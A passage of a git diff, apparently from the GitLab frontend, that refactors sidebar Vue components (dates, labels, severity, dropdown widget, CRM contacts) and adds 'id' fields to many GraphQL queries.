- return this.dateType === dateTypes.start ? 'start-date' : 'due-date';
+ return this.dateType === dateTypes.start ? 'sidebar-start-date' : 'sidebar-due-date';
},
},
methods: {
@@ -266,15 +269,15 @@ export default {
</gl-popover>
</template>
<template #collapsed>
- <div v-gl-tooltip :title="dateLabel" class="sidebar-collapsed-icon">
+ <div v-gl-tooltip.viewport.left :title="dateLabel" class="sidebar-collapsed-icon">
<gl-icon :size="16" name="calendar" />
<span class="collapse-truncated-title">{{ formattedDate }}</span>
</div>
<sidebar-inherit-date
- v-if="canInherit"
+ v-if="canInherit && !initialLoading"
:issuable="issuable"
- :is-loading="isLoading"
:date-type="dateType"
+ :is-loading="isLoading"
@reset-date="setDate(null)"
@set-date="setFixedDate"
/>
diff --git a/app/assets/javascripts/sidebar/components/date/sidebar_inherit_date.vue b/app/assets/javascripts/sidebar/components/date/sidebar_inherit_date.vue
index b6bfacb2e47..77f8e125dce 100644
--- a/app/assets/javascripts/sidebar/components/date/sidebar_inherit_date.vue
+++ b/app/assets/javascripts/sidebar/components/date/sidebar_inherit_date.vue
@@ -17,8 +17,9 @@ export default {
type: Object,
},
isLoading: {
- required: true,
+ required: false,
type: Boolean,
+ default: false,
},
dateType: {
type: String,
@@ -31,6 +32,7 @@ export default {
return this.issuable?.[dateFields[this.dateType].isDateFixed] || false;
},
set(fixed) {
+ if (fixed === this.issuable[dateFields[this.dateType].isDateFixed]) return;
this.$emit('set-date', fixed);
},
},
diff --git a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
deleted file mode 100644
index 5cd4a1a5192..00000000000
--- a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
+++ /dev/null
@@ -1,192 +0,0 @@
-<script>
-import $ from 'jquery';
-import { camelCase, difference, union } from 'lodash';
-import updateIssueLabelsMutation from '~/boards/graphql/issue_set_labels.mutation.graphql';
-import createFlash from '~/flash';
-import { getIdFromGraphQLId, MutationOperationMode } from '~/graphql_shared/utils';
-import { IssuableType } from '~/issue_show/constants';
-import { __ } from '~/locale';
-import updateMergeRequestLabelsMutation from '~/sidebar/queries/update_merge_request_labels.mutation.graphql';
-import { toLabelGid } from '~/sidebar/utils';
-import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
-import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
-import LabelsSelectWidget from '~/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue';
-import { LabelType } from '~/vue_shared/components/sidebar/labels_select_widget/constants';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-
-const mutationMap = {
- [IssuableType.Issue]: {
- mutation: updateIssueLabelsMutation,
- mutationName: 'updateIssue',
- },
- [IssuableType.MergeRequest]: {
- mutation: updateMergeRequestLabelsMutation,
- mutationName: 'mergeRequestSetLabels',
- },
-};
-
-export default {
- components: {
- LabelsSelect,
- LabelsSelectWidget,
- },
- variant: DropdownVariant.Sidebar,
- mixins: [glFeatureFlagMixin()],
- inject: [
- 'allowLabelCreate',
- 'allowLabelEdit',
- 'allowScopedLabels',
- 'iid',
- 'fullPath',
- 'initiallySelectedLabels',
- 'issuableType',
- 'labelsFetchPath',
- 'labelsManagePath',
- 'projectIssuesPath',
- 'projectPath',
- ],
- data() {
- return {
- isLabelsSelectInProgress: false,
- selectedLabels: this.initiallySelectedLabels,
- LabelType,
- };
- },
- methods: {
- handleDropdownClose() {
- $(this.$el).trigger('hidden.gl.dropdown');
- },
- getUpdateVariables(labels) {
- let labelIds = [];
-
- if (this.glFeatures.labelsWidget) {
- labelIds = labels.map(({ id }) => toLabelGid(id));
- } else {
- const currentLabelIds = this.selectedLabels.map((label) => label.id);
- const userAddedLabelIds = labels.filter((label) => label.set).map((label) => label.id);
- const userRemovedLabelIds = labels.filter((label) => !label.set).map((label) => label.id);
-
- labelIds = difference(union(currentLabelIds, userAddedLabelIds), userRemovedLabelIds).map(
- toLabelGid,
- );
- }
-
- switch (this.issuableType) {
- case IssuableType.Issue:
- return {
- iid: this.iid,
- projectPath: this.projectPath,
- labelIds,
- };
- case IssuableType.MergeRequest:
- return {
- iid: this.iid,
- labelIds,
- operationMode: MutationOperationMode.Replace,
- projectPath: this.projectPath,
- };
- default:
- return {};
- }
- },
- handleUpdateSelectedLabels(dropdownLabels) {
- this.updateSelectedLabels(this.getUpdateVariables(dropdownLabels));
- },
- getRemoveVariables(labelId) {
- switch (this.issuableType) {
- case IssuableType.Issue:
- return {
- iid: this.iid,
- projectPath: this.projectPath,
- removeLabelIds: [labelId],
- };
- case IssuableType.MergeRequest:
- return {
- iid: this.iid,
- labelIds: [toLabelGid(labelId)],
- operationMode: MutationOperationMode.Remove,
- projectPath: this.projectPath,
- };
- default:
- return {};
- }
- },
- handleLabelRemove(labelId) {
- this.updateSelectedLabels(this.getRemoveVariables(labelId));
- },
- updateSelectedLabels(inputVariables) {
- this.isLabelsSelectInProgress = true;
-
- this.$apollo
- .mutate({
- mutation: mutationMap[this.issuableType].mutation,
- variables: { input: inputVariables },
- })
- .then(({ data }) => {
- const { mutationName } = mutationMap[this.issuableType];
-
- if (data[mutationName]?.errors?.length) {
- throw new Error();
- }
-
- const issuableType = camelCase(this.issuableType);
- this.selectedLabels = data[mutationName]?.[issuableType]?.labels?.nodes?.map((label) => ({
- ...label,
- id: getIdFromGraphQLId(label.id),
- }));
- })
- .catch(() => createFlash({ message: __('An error occurred while updating labels.') }))
- .finally(() => {
- this.isLabelsSelectInProgress = false;
- });
- },
- },
-};
-</script>
-
-<template>
- <labels-select-widget
- v-if="glFeatures.labelsWidget"
- class="block labels js-labels-block"
- :iid="iid"
- :full-path="fullPath"
- :allow-label-remove="allowLabelEdit"
- :allow-multiselect="true"
- :footer-create-label-title="__('Create project label')"
- :footer-manage-label-title="__('Manage project labels')"
- :labels-create-title="__('Create project label')"
- :labels-filter-base-path="projectIssuesPath"
- :variant="$options.variant"
- :issuable-type="issuableType"
- workspace-type="project"
- :attr-workspace-path="fullPath"
- :label-create-type="LabelType.project"
- data-qa-selector="labels_block"
- >
- {{ __('None') }}
- </labels-select-widget>
- <labels-select
- v-else
- class="block labels js-labels-block"
- :allow-label-remove="allowLabelEdit"
- :allow-label-create="allowLabelCreate"
- :allow-label-edit="allowLabelEdit"
- :allow-multiselect="true"
- :allow-scoped-labels="allowScopedLabels"
- :footer-create-label-title="__('Create project label')"
- :footer-manage-label-title="__('Manage project labels')"
- :labels-create-title="__('Create project label')"
- :labels-fetch-path="labelsFetchPath"
- :labels-filter-base-path="projectIssuesPath"
- :labels-manage-path="labelsManagePath"
- :labels-select-in-progress="isLabelsSelectInProgress"
- :selected-labels="selectedLabels"
- :variant="$options.sidebar"
- data-qa-selector="labels_block"
- @onDropdownClose="handleDropdownClose"
- @onLabelRemove="handleLabelRemove"
- @updateSelectedLabels="handleUpdateSelectedLabels"
- >
- {{ __('None') }}
- </labels-select>
-</template>
diff --git a/app/assets/javascripts/sidebar/components/lock/mutations/update_issue_lock.mutation.graphql b/app/assets/javascripts/sidebar/components/lock/mutations/update_issue_lock.mutation.graphql
index 2a1bcdf7136..cb9ee6abc9b 100644
--- a/app/assets/javascripts/sidebar/components/lock/mutations/update_issue_lock.mutation.graphql
+++ b/app/assets/javascripts/sidebar/components/lock/mutations/update_issue_lock.mutation.graphql
@@ -1,6 +1,7 @@
mutation updateIssueLocked($input: IssueSetLockedInput!) {
issueSetLocked(input: $input) {
issue {
+ id
discussionLocked
}
errors
diff --git a/app/assets/javascripts/sidebar/components/lock/mutations/update_merge_request_lock.mutation.graphql b/app/assets/javascripts/sidebar/components/lock/mutations/update_merge_request_lock.mutation.graphql
index 8590c8e71a6..11eb3611006 100644
--- a/app/assets/javascripts/sidebar/components/lock/mutations/update_merge_request_lock.mutation.graphql
+++ b/app/assets/javascripts/sidebar/components/lock/mutations/update_merge_request_lock.mutation.graphql
@@ -1,6 +1,7 @@
mutation updateMergeRequestLocked($input: MergeRequestSetLockedInput!) {
mergeRequestSetLocked(input: $input) {
mergeRequest {
+ id
discussionLocked
}
errors
diff --git a/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue b/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue
index 9554a98121f..60d8fb4d408 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue
@@ -89,7 +89,7 @@ export default {
<template>
<div
v-gl-tooltip="tooltipOptions"
- :class="{ 'multiple-users': hasMoreThanOneReviewer }"
+ :class="{ 'multiple-users gl-relative': hasMoreThanOneReviewer }"
:title="tooltipTitle"
class="sidebar-collapsed-icon sidebar-collapsed-user"
>
diff --git a/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql b/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql
index 750e757971f..c9d36dfdb67 100644
--- a/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql
+++ b/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql
@@ -3,6 +3,7 @@ mutation updateIssuableSeverity($projectPath: ID!, $severity: IssuableSeverity!,
errors
issue {
iid
+ id
severity
}
}
diff --git a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
index 5dc93476120..86e46016534 100644
--- a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
+++ b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
@@ -5,7 +5,7 @@ import {
GlLoadingIcon,
GlTooltip,
GlSprintf,
- GlLink,
+ GlButton,
} from '@gitlab/ui';
import createFlash from '~/flash';
import { INCIDENT_SEVERITY, ISSUABLE_TYPES, I18N } from './constants';
@@ -20,7 +20,7 @@ export default {
GlSprintf,
GlDropdown,
GlDropdownItem,
- GlLink,
+ GlButton,
SeverityToken,
},
inject: ['canUpdate'],
@@ -150,23 +150,25 @@ export default {
<div class="hide-collapsed">
<p
- class="gl-line-height-20 gl-mb-0 gl-text-gray-900 gl-display-flex gl-justify-content-space-between"
+ class="gl-line-height-20 gl-mb-2 gl-text-gray-900 gl-display-flex gl-justify-content-space-between"
>
{{ $options.i18n.SEVERITY }}
- <gl-link
+ <gl-button
v-if="canUpdate"
+ category="tertiary"
+ size="small"
data-testid="editButton"
- href="#"
@click="toggleFormDropdown"
@keydown.esc="hideDropdown"
>
{{ $options.i18n.EDIT }}
- </gl-link>
+ </gl-button>
</p>
<gl-dropdown
:class="dropdownClass"
block
+ :header-text="__('Assign severity')"
:text="selectedItem.label"
toggle-class="dropdown-menu-toggle gl-mb-2"
@keydown.esc.native="hideDropdown"
diff --git a/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue b/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
index 0ba8c4f8907..da792b3a2aa 100644
--- a/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
+++ b/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
@@ -12,11 +12,12 @@ import {
} from '@gitlab/ui';
import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { timeFor } from '~/lib/utils/datetime_utility';
-import { __, s__, sprintf } from '~/locale';
+import { __ } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
import {
+ dropdowni18nText,
Tracking,
IssuableAttributeState,
IssuableAttributeType,
@@ -24,14 +25,11 @@ import {
noAttributeId,
defaultEpicSort,
epicIidPattern,
-} from '~/sidebar/constants';
+} from 'ee_else_ce/sidebar/constants';
export default {
noAttributeId,
- IssuableAttributeState,
- issuableAttributesQueries,
i18n: {
- [IssuableAttributeType.Milestone]: __('Milestone'),
expired: __('(expired)'),
none: __('None'),
},
@@ -53,14 +51,24 @@ export default {
isClassicSidebar: {
default: false,
},
+ issuableAttributesQueries: {
+ default: issuableAttributesQueries,
+ },
+ issuableAttributesState: {
+ default: IssuableAttributeState,
+ },
+ widgetTitleText: {
+ default: {
+ [IssuableAttributeType.Milestone]: __('Milestone'),
+ expired: __('(expired)'),
+ none: __('None'),
+ },
+ },
},
props: {
issuableAttribute: {
type: String,
required: true,
- validator(value) {
- return [IssuableAttributeType.Milestone].includes(value);
- },
},
workspacePath: {
required: true,
@@ -132,13 +140,13 @@ export default {
return {
fullPath: this.attrWorkspacePath,
title: this.searchTerm,
- state: this.$options.IssuableAttributeState[this.issuableAttribute],
+ state: this.issuableAttributesState[this.issuableAttribute],
};
}
const variables = {
fullPath: this.attrWorkspacePath,
- state: this.$options.IssuableAttributeState[this.issuableAttribute],
+ state: this.issuableAttributesState[this.issuableAttribute],
sort: defaultEpicSort,
};
@@ -180,7 +188,7 @@ export default {
},
computed: {
issuableAttributeQuery() {
- return this.$options.issuableAttributesQueries[this.issuableAttribute];
+ return this.issuableAttributesQueries[this.issuableAttribute];
},
attributeTitle() {
return this.currentAttribute?.title || this.i18n.noAttribute;
@@ -189,9 +197,7 @@ export default {
return this.currentAttribute?.webUrl;
},
dropdownText() {
- return this.currentAttribute
- ? this.currentAttribute?.title
- : this.$options.i18n[this.issuableAttribute];
+ return this.currentAttribute ? this.currentAttribute?.title : this.attributeTypeTitle;
},
loading() {
return this.$apollo.queries.currentAttribute.loading;
@@ -200,7 +206,7 @@ export default {
return this.attributesList.length === 0;
},
attributeTypeTitle() {
- return this.$options.i18n[this.issuableAttribute];
+ return this.widgetTitleText[this.issuableAttribute];
},
attributeTypeIcon() {
return this.icon || this.issuableAttribute;
@@ -209,37 +215,10 @@ export default {
return timeFor(this.currentAttribute?.dueDate);
},
i18n() {
- return {
- noAttribute: sprintf(s__('DropdownWidget|No %{issuableAttribute}'), {
- issuableAttribute: this.issuableAttribute,
- }),
- assignAttribute: sprintf(s__('DropdownWidget|Assign %{issuableAttribute}'), {
- issuableAttribute: this.issuableAttribute,
- }),
- noAttributesFound: sprintf(s__('DropdownWidget|No %{issuableAttribute} found'), {
- issuableAttribute: this.issuableAttribute,
- }),
- updateError: sprintf(
- s__(
- 'DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again.',
- ),
- { issuableAttribute: this.issuableAttribute, issuableType: this.issuableType },
- ),
- listFetchError: sprintf(
- s__(
- 'DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again.',
- ),
- { issuableAttribute: this.issuableAttribute, issuableType: this.issuableType },
- ),
- currentFetchError: sprintf(
- s__(
- 'DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}.',
- ),
- { issuableAttribute: this.issuableAttribute, issuableType: this.issuableType },
- ),
- };
+ return dropdowni18nText(this.issuableAttribute, this.issuableType);
},
isEpic() {
+ // MV to EE https://gitlab.com/gitlab-org/gitlab/-/issues/345311
return this.issuableAttribute === IssuableType.Epic;
},
},
@@ -252,7 +231,7 @@ export default {
const selectedAttribute =
Boolean(attributeId) && this.attributesList.find((p) => p.id === attributeId);
- this.selectedTitle = selectedAttribute ? selectedAttribute.title : this.$options.i18n.none;
+ this.selectedTitle = selectedAttribute ? selectedAttribute.title : this.widgetTitleText.none;
const { current } = this.issuableAttributeQuery;
const { mutation } = current[this.issuableType];
diff --git a/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue b/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
index bc7e377a966..701833c4e95 100644
--- a/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
+++ b/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlLoadingIcon, GlToggle, GlTooltipDirective } from '@gitlab/ui';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { isLoggedIn } from '~/lib/utils/common_utils';
import { __, sprintf } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
index 9a9d03353dc..91c67a03dfb 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
@@ -1,6 +1,6 @@
<script>
import { GlIcon, GlLink, GlModal, GlModalDirective, GlLoadingIcon } from '@gitlab/ui';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { s__, __ } from '~/locale';
import { timeTrackingQueries } from '~/sidebar/constants';
diff --git a/app/assets/javascripts/sidebar/constants.js b/app/assets/javascripts/sidebar/constants.js
index ac34a75ac5c..0238fb8e8d5 100644
--- a/app/assets/javascripts/sidebar/constants.js
+++ b/app/assets/javascripts/sidebar/constants.js
@@ -1,5 +1,6 @@
+import { s__, sprintf } from '~/locale';
import updateIssueLabelsMutation from '~/boards/graphql/issue_set_labels.mutation.graphql';
-import { IssuableType, WorkspaceType } from '~/issue_show/constants';
+import { IssuableType, WorkspaceType } from '~/issues/constants';
import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import epicConfidentialQuery from '~/sidebar/queries/epic_confidential.query.graphql';
import epicDueDateQuery from '~/sidebar/queries/epic_due_date.query.graphql';
@@ -272,3 +273,35 @@ export const todoMutations = {
[TodoMutationTypes.Create]: todoCreateMutation,
[TodoMutationTypes.MarkDone]: todoMarkDoneMutation,
};
+
+export function dropdowni18nText(issuableAttribute, issuableType) {
+ return {
+ noAttribute: sprintf(s__('DropdownWidget|No %{issuableAttribute}'), {
+ issuableAttribute,
+ }),
+ assignAttribute: sprintf(s__('DropdownWidget|Assign %{issuableAttribute}'), {
+ issuableAttribute,
+ }),
+ noAttributesFound: sprintf(s__('DropdownWidget|No %{issuableAttribute} found'), {
+ issuableAttribute,
+ }),
+ updateError: sprintf(
+ s__(
+ 'DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again.',
+ ),
+ { issuableAttribute, issuableType },
+ ),
+ listFetchError: sprintf(
+ s__(
+ 'DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again.',
+ ),
+ { issuableAttribute, issuableType },
+ ),
+ currentFetchError: sprintf(
+ s__(
+ 'DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}.',
+ ),
+ { issuableAttribute, issuableType },
+ ),
+ };
+}
diff --git a/app/assets/javascripts/sidebar/graphql.js b/app/assets/javascripts/sidebar/graphql.js
index 6a670db2d38..5b2ce3fe446 100644
--- a/app/assets/javascripts/sidebar/graphql.js
+++ b/app/assets/javascripts/sidebar/graphql.js
@@ -1,7 +1,7 @@
import { IntrospectionFragmentMatcher } from 'apollo-cache-inmemory';
import produce from 'immer';
import VueApollo from 'vue-apollo';
-import getIssueStateQuery from '~/issue_show/queries/get_issue_state.query.graphql';
+import getIssueStateQuery from '~/issues/show/queries/get_issue_state.query.graphql';
import createDefaultClient from '~/lib/graphql';
import introspectionQueryResultData from './fragmentTypes.json';
diff --git a/app/assets/javascripts/sidebar/mount_milestone_sidebar.js b/app/assets/javascripts/sidebar/mount_milestone_sidebar.js
index 270b22fcdf9..1947c4801db 100644
--- a/app/assets/javascripts/sidebar/mount_milestone_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_milestone_sidebar.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { parseBoolean } from '~/lib/utils/common_utils';
import timeTracker from './components/time_tracking/time_tracker.vue';
diff --git a/app/assets/javascripts/sidebar/mount_sidebar.js b/app/assets/javascripts/sidebar/mount_sidebar.js
index 898be4a97ce..cbe40d0bfbe 100644
--- a/app/assets/javascripts/sidebar/mount_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_sidebar.js
@@ -5,13 +5,14 @@ import { TYPE_ISSUE, TYPE_MERGE_REQUEST } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import {
isInIssuePage,
isInDesignPage,
isInIncidentPage,
parseBoolean,
} from '~/lib/utils/common_utils';
+import { __ } from '~/locale';
import CollapsedAssigneeList from '~/sidebar/components/assignees/collapsed_assignee_list.vue';
import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
import SidebarConfidentialityWidget from '~/sidebar/components/confidential/sidebar_confidentiality_widget.vue';
@@ -23,10 +24,11 @@ import SidebarTodoWidget from '~/sidebar/components/todo_toggle/sidebar_todo_wid
import { apolloProvider } from '~/sidebar/graphql';
import trackShowInviteMemberLink from '~/sidebar/track_invite_members';
import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
+import LabelsSelectWidget from '~/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue';
+import { LabelType } from '~/vue_shared/components/sidebar/labels_select_widget/constants';
import Translate from '../vue_shared/translate';
import SidebarAssignees from './components/assignees/sidebar_assignees.vue';
import CopyEmailToClipboard from './components/copy_email_to_clipboard.vue';
-import SidebarLabels from './components/labels/sidebar_labels.vue';
import IssuableLockForm from './components/lock/issuable_lock_form.vue';
import SidebarReviewers from './components/reviewers/sidebar_reviewers.vue';
import SidebarSeverity from './components/severity/sidebar_severity.vue';
@@ -34,6 +36,7 @@ import SidebarSubscriptionsWidget from './components/subscriptions/sidebar_subsc
import SidebarTimeTracking from './components/time_tracking/sidebar_time_tracking.vue';
import { IssuableAttributeType } from './constants';
import SidebarMoveIssue from './lib/sidebar_move_issue';
+import CrmContacts from './components/crm_contacts/crm_contacts.vue';
Vue.use(Translate);
Vue.use(VueApollo);
@@ -205,6 +208,28 @@ function mountReviewersComponent(mediator) {
}
}
+function mountCrmContactsComponent() {
+ const el = document.getElementById('js-issue-crm-contacts');
+
+ if (!el) return;
+
+ const { issueId } = el.dataset;
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ apolloProvider,
+ components: {
+ CrmContacts,
+ },
+ render: (createElement) =>
+ createElement('crm-contacts', {
+ props: {
+ issueId,
+ },
+ }),
+ });
+}
+
function mountMilestoneSelect() {
const el = document.querySelector('.js-milestone-select');
@@ -241,7 +266,6 @@ function mountMilestoneSelect() {
export function mountSidebarLabels() {
const el = document.querySelector('.js-sidebar-labels');
- const { fullPath } = getSidebarOptions();
if (!el) {
return false;
@@ -250,22 +274,43 @@ export function mountSidebarLabels() {
return new Vue({
el,
apolloProvider,
+
+ components: {
+ LabelsSelectWidget,
+ },
provide: {
...el.dataset,
- fullPath,
+ canUpdate: parseBoolean(el.dataset.canEdit),
allowLabelCreate: parseBoolean(el.dataset.allowLabelCreate),
allowLabelEdit: parseBoolean(el.dataset.canEdit),
allowScopedLabels: parseBoolean(el.dataset.allowScopedLabels),
- initiallySelectedLabels: JSON.parse(el.dataset.selectedLabels),
- variant: DropdownVariant.Sidebar,
- canUpdate: parseBoolean(el.dataset.canEdit),
isClassicSidebar: true,
- issuableType:
- isInIssuePage() || isInIncidentPage() || isInDesignPage()
- ? IssuableType.Issue
- : IssuableType.MergeRequest,
},
- render: (createElement) => createElement(SidebarLabels),
+ render: (createElement) =>
+ createElement('labels-select-widget', {
+ props: {
+ iid: String(el.dataset.iid),
+ fullPath: el.dataset.projectPath,
+ allowLabelRemove: parseBoolean(el.dataset.canEdit),
+ allowMultiselect: true,
+ footerCreateLabelTitle: __('Create project label'),
+ footerManageLabelTitle: __('Manage project labels'),
+ labelsCreateTitle: __('Create project label'),
+ labelsFilterBasePath: el.dataset.projectIssuesPath,
+ variant: DropdownVariant.Sidebar,
+ issuableType:
+ isInIssuePage() || isInIncidentPage() || isInDesignPage()
+ ? IssuableType.Issue
+ : IssuableType.MergeRequest,
+ workspaceType: 'project',
+ attrWorkspacePath: el.dataset.projectPath,
+ labelCreateType: LabelType.project,
+ },
+ class: ['block labels js-labels-block'],
+ scopedSlots: {
+ default: () => __('None'),
+ },
+ }),
});
}
@@ -535,6 +580,7 @@ export function mountSidebar(mediator, store) {
mountAssigneesComponentDeprecated(mediator);
}
mountReviewersComponent(mediator);
+ mountCrmContactsComponent();
mountSidebarLabels();
mountMilestoneSelect();
mountConfidentialComponent(mediator);
diff --git a/app/assets/javascripts/sidebar/queries/epic_confidential.query.graphql b/app/assets/javascripts/sidebar/queries/epic_confidential.query.graphql
index 7a1fdb40e93..4998b2af666 100644
--- a/app/assets/javascripts/sidebar/queries/epic_confidential.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_confidential.query.graphql
@@ -1,6 +1,7 @@
query epicConfidential($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
issuable: epic(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/epic_due_date.query.graphql b/app/assets/javascripts/sidebar/queries/epic_due_date.query.graphql
index f60f44abebd..00529042e92 100644
--- a/app/assets/javascripts/sidebar/queries/epic_due_date.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_due_date.query.graphql
@@ -1,6 +1,7 @@
query epicDueDate($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
issuable: epic(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/epic_participants.query.graphql b/app/assets/javascripts/sidebar/queries/epic_participants.query.graphql
index fbebc50ab08..dada7ffc034 100644
--- a/app/assets/javascripts/sidebar/queries/epic_participants.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_participants.query.graphql
@@ -4,6 +4,7 @@
query epicParticipants($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
issuable: epic(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql b/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql
index bd10f09aed8..f35ca896ef8 100644
--- a/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql
@@ -1,6 +1,7 @@
query epicReference($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
issuable: epic(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/epic_start_date.query.graphql b/app/assets/javascripts/sidebar/queries/epic_start_date.query.graphql
index c6c24fd3d95..85fc7de8d02 100644
--- a/app/assets/javascripts/sidebar/queries/epic_start_date.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_start_date.query.graphql
@@ -1,6 +1,7 @@
query epicStartDate($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
issuable: epic(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/epic_subscribed.query.graphql b/app/assets/javascripts/sidebar/queries/epic_subscribed.query.graphql
index 9f1967e1685..a8fe6b8ddc3 100644
--- a/app/assets/javascripts/sidebar/queries/epic_subscribed.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_subscribed.query.graphql
@@ -1,6 +1,7 @@
query epicSubscribed($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
emailsDisabled
issuable: epic(iid: $iid) {
__typename
diff --git a/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql b/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql
index 1e6f9bad5b2..b0ba724e727 100644
--- a/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql
@@ -1,6 +1,7 @@
query epicTodos($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
issuable: epic(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/issuable_assignees.subscription.graphql b/app/assets/javascripts/sidebar/queries/issuable_assignees.subscription.graphql
index 47ce094418c..a58a04d87c4 100644
--- a/app/assets/javascripts/sidebar/queries/issuable_assignees.subscription.graphql
+++ b/app/assets/javascripts/sidebar/queries/issuable_assignees.subscription.graphql
@@ -3,6 +3,7 @@
subscription issuableAssigneesUpdated($issuableId: IssuableID!) {
issuableAssigneesUpdated(issuableId: $issuableId) {
... on Issue {
+ id
assignees {
nodes {
...User
diff --git a/app/assets/javascripts/sidebar/queries/issue_confidential.query.graphql b/app/assets/javascripts/sidebar/queries/issue_confidential.query.graphql
index 92cabf46af7..e578cf3bda5 100644
--- a/app/assets/javascripts/sidebar/queries/issue_confidential.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/issue_confidential.query.graphql
@@ -1,6 +1,7 @@
query issueConfidential($fullPath: ID!, $iid: String) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql b/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql
index 6d3f782bd0a..48cbff252b3 100644
--- a/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql
@@ -1,6 +1,7 @@
query issueDueDate($fullPath: ID!, $iid: String) {
